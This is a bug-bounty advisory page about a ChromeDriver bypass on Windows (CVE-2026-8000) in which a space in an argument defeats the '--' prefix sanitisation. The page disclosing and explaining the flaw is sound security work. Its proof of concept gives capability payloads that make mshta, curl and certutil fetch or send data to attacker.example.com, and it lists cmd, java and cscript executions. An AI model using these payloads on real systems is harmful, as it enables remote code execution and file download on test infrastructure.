Skip to content
RCE Advisory Intermediate CVE-2026-8000

Insufficient validation of untrusted input in ChromeDriver (CVE-2026-8000)

ChromeDriver's sanitisation that prefixes arguments with '--' to prevent argument injection can be bypassed on Windows by including a space in the argument string. An attacker who can supply session capabilities can pass arbitrary arguments to non-Chrome binaries, enabling remote code execution or data exfiltration.

Ryan Jupp - HAAO Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 47 days

Steps to reproduce the problem

Proof of Concept

1. Observe the bypass via chrome://version

Start ChromeDriver locally and create a session:

JSON
{
  "desiredCapabilities": {
    "browserName": "chrome",
    "goog:chromeOptions": {
      "args": ["/c whoami", "-jar x.jar"]
    }
  }
}

Navigate to chrome://version. The Command Line field shows:

chrome.exe -jar /c --allow-pre-commit-input ... --flag-switches-end x.jar whoami data:,

x.jar and whoami appear after --flag-switches-end as bare positional arguments — no -- prefix.

2. Remote HTA execution via mshta.exe (no local file needed)

JSON
{
  "desiredCapabilities": {
    "browserName": "chrome",
    "goog:chromeOptions": {
      "binary": "C:\\Windows\\System32\\mshta.exe",
      "args": ["-x http://attacker.example.com/payload.hta"]
    }
  }
}

mshta.exe receives http://attacker.example.com/payload.hta as a positional argument, fetches the URL, and executes the HTA contents at OS level. No file on disk is required.

3. Outbound HTTP request via curl.exe (no local file needed)

JSON
{
  "desiredCapabilities": {
    "browserName": "chrome",
    "goog:chromeOptions": {
      "binary": "C:\\Windows\\System32\\curl.exe",
      "args": ["-s http://attacker.example.com/proof"]
    }
  }
}

curl.exe receives -s (silent) and http://attacker.example.com/proof (URL). The attacker's server receives the request — confirming execution.

4. File download via certutil.exe (no local file needed)

JSON
{
  "desiredCapabilities": {
    "browserName": "chrome",
    "goog:chromeOptions": {
      "binary": "C:\\Windows\\System32\\certutil.exe",
      "args": ["-urlcache -split -f http://attacker.example.com/payload C:\\Users\\Public\\payload.exe"]
    }
  }
}

certutil downloads the remote file to a local path.

Problem Description

ChromeDriver prepends -- to all arguments passed via goog:chromeOptions.args to prevent meaningful argument injection to non-Chrome binaries launched via goog:chromeOptions.binary. This sanitization can be bypassed on Windows by including a space in the argument string.

When an argument like "-s http://attacker/exfil" is passed, SetUnparsedSwitch() stores the entire string as a single switch name. On Windows, GetCommandLineString() flattens argv_ into a string for CreateProcess(), and the space causes word splitting — producing a bare positional argument with no -- prefix.

The Bypass

SetUnparsedSwitch() in capabilities.cc splits arguments on = only. Spaces are not handled:

C++
void Switches::SetUnparsedSwitch(const std::string& unparsed_switch) {
  std::string value;
  size_t equals_index = unparsed_switch.find('=');
  if (equals_index != std::string::npos)
    value = unparsed_switch.substr(equals_index + 1);

  std::string name;
  size_t start_index = 0;
  if (unparsed_switch.substr(0, 2) == "--")
    start_index = 2;
  name = unparsed_switch.substr(start_index, equals_index - start_index);
  SetSwitch(name, value);
}

An argument with a space (e.g., "-s http://attacker/exfil") is stored as a single switch name containing a space. AppendSwitchNative() inserts it into argv_ as one entry. On Windows, GetCommandLineString() flattens argv_ to a string without quoting the space, so CreateProcess() splits it into separate tokens:

  • "-s http://attacker/exfil" → CreateProcess sees two tokens: -s (prefixed flag) and http://attacker/exfil (bare positional argument, no -- prefix)
  • "-x http://attacker/evil.hta" → -x (prefixed flag) and http://attacker/evil.hta (bare positional)
  • "/c whoami" → /c (prefixed flag) and whoami (bare positional)

This enables passing attacker-controlled arguments to arbitrary binaries, including binaries that fetch and execute remote content with no local file precondition.

Additional Comments

Impact

The -- prefix sanitization is ChromeDriver's primary control against argument injection to non-Chrome binaries. This bypass defeats it entirely, enabling:

  • mshta.exe + "-x http://attacker/evil.hta" → fetches and executes remote HTA at OS level (no local file)
  • curl.exe + "-s http://attacker/exfil" → outbound HTTP request to attacker (no local file)
  • certutil.exe + "-urlcache -f http://attacker/p C:\Users\Public\p.exe" → downloads remote file to disk
  • cscript.exe + "-B C:\path\to\script.vbs" → executes VBScript from disk
  • java.exe + "-jar C:\path\to\payload.jar" → executes Java JAR
  • cmd.exe + "/c whoami" → executes shell command

Affected environments: Selenium Grid deployments, cloud testing platforms, CI/CD pipelines — anywhere ChromeDriver accepts session capabilities from untrusted input.

Summary

ChromeDriver Argument Sanitization Bypass — Positional Argument Injection

Custom Questions

Reporter credit:

Ryan Jupp - HAAO

Additional Data

Category: Security
Chrome Channel: Not sure
Regression: N/A \

The original report as published on the Chromium issue tracker, by Ryan Jupp - HAAO. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, the argument sanitisation in ChromeDriver does not account for spaces in argument strings, so when the command line is flattened for CreateProcess on Windows, the space causes word splitting and the '--' prefix is lost.

Impact

This bypass defeats ChromeDriver's primary control against argument injection, enabling arbitrary command execution and data exfiltration on Windows in environments where ChromeDriver accepts session capabilities from untrusted input, such as Selenium Grid deployments, cloud testing platforms, and CI/CD pipelines.

What the attacker needed

ChromeDriver on Windows; Attacker can supply session capabilities; Victim runs ChromeDriver with untrusted input

The fix

The argument sanitisation should properly handle spaces, for example by quoting arguments or rejecting arguments containing spaces, to prevent word splitting when building the command line.

How it was found

  1. Start ChromeDriver locally and create a session with a crafted argument containing a space.
  2. Navigate to chrome://version to observe that the argument appears as a bare positional argument without the '--' prefix.
  3. Use a crafted binary path and argument to execute a remote HTA file via mshta.exe.
  4. Use a crafted binary path and argument to make an outbound HTTP request via curl.exe.
  5. Use a crafted binary path and argument to download a file via certutil.exe.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

ChromeDriver is a tool that lets programs control the Chrome browser. It tries to stop bad arguments from being passed to other programs by adding '--' in front of them, but on Windows a space in the argument breaks this protection. This means an attacker who can send settings to ChromeDriver could make it run harmful commands.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.